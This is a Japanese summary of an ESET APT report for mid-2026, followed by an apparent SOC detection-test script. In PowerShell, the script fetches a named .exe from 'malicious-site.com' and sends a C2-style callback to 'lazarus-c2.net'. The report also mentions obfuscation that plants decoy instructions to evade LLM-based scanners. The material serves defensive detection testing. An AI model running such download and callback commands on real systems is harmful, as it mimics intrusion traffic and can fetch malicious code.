ESET APT活動報告 2026年第2四半期〜第3四半期: 主要キャンペーンとトレンド

概要

このレポートは2026年4月から9月に観察された幅広いAPT活動を概説しています。主な傾向として、中国寄りのグループが政府や半導体組織を標的にしていること、OilRigやイラン寄りのアクターによる活動再開、テクノロジーや暗号通貨を標的とする北朝鮮のキャンペーンがあります。また、特にウクライナを標的としたロシア寄りとベラルーシ寄りのグループ間での作戦上の調整が進んでいることも指摘されています。

調査

ESETの研究者たちは、異なる地域で複数の脅威アクタークラスターを追跡するためにテレメトリを分析しました。この調査には、新しいマルウェアファミリーの特定、ソフトウェアサプライチェーンの妥協点の検査、敵のワークフローにおけるAIツールの導入監視が含まれています。研究者はまた、インフラストラクチャ、ツール開発、標的化行動の変化のパターンを分析しました。

緩和策

組織は、ソフトウェアサプライチェーンのセキュリティを強化し、採用関連のソーシャルエンジニアリングキャンペーンの監視を行うべきです。MDaemonメールサーバーの悪用に対する保護や、なりすまし型スパイウェアからのAndroidデバイスの保護も重要です。セキュリティチームはまた、AI生成の難読化技術を考慮に入れて、疑わしいスクリプトやペイロードを分析するべきです。

対応策

疑わしい活動が検出された場合、組織はスクリプト、リポジトリ、影響を受けたソフトウェアの詳細なフォレンジック分析を行うべきです。インシデント対応者は、LLMベースのスキャナーを回避するためのデコイ指示を含む、AI駆動の難読化技術を考慮するべきです。潜在的なサプライチェーンの妥協点はすぐに封じ込めて調査し、さらなる認証情報の窃取や不正アクセスを防ぐ必要があります。

シミュレーション実行

• 攻撃の流れとコマンド: シミュレートされた攻撃者は、SOCが特定のハードコーディングされた文字列を検出できるかどうかをテストするために、TurlaとLazarus Groupの既知の指標を模倣することを目的としています。最初に、攻撃者は特定の文字列「Turla’s VBScript Rezzuar」を含むURLにアクセスしようとすることで、Turlaスタイルのペイロードリクエストをシミュレートします。次に、高度にカスタマイズされたUser-Agent文字列「Lazarus Group Recruitment」を用いてHTTPリクエストを送信することで、Lazarus Groupの採用関連フィッシングコールバックをシミュレートします。これは、C2または特殊なフィッシングランディングページと通信する感染システムの動作を模倣します。

• リグレッションテストスクリプト：

  # Turla TTPのシミュレーション (URLマッチング)
  Write-Host "[+] Turla URLインジケーターをシミュレート中..."
  Invoke-WebRequest -Uri "http://malicious-site.com/downloads/Turla's VBScript Rezzuar.exe" -UserAgent "Mozilla/5.0"
  
  # Lazarus TTPのシミュレーション (User-Agentマッチング)
  Write-Host "[+] Lazarus User-Agentインジケーターをシミュレート中..."
  Invoke-WebRequest -Uri "http://lazarus-c2.net/login" -UserAgent "Lazarus Group Recruitment"

• クリーンアップコマンド：

  # シミュレーションではメモリ専用のウェブリクエストを使用するため、持続的なアーティファクトは作成されません。
  Write-Host "[+] シミュレーション完了。クリーンアップは不要です。"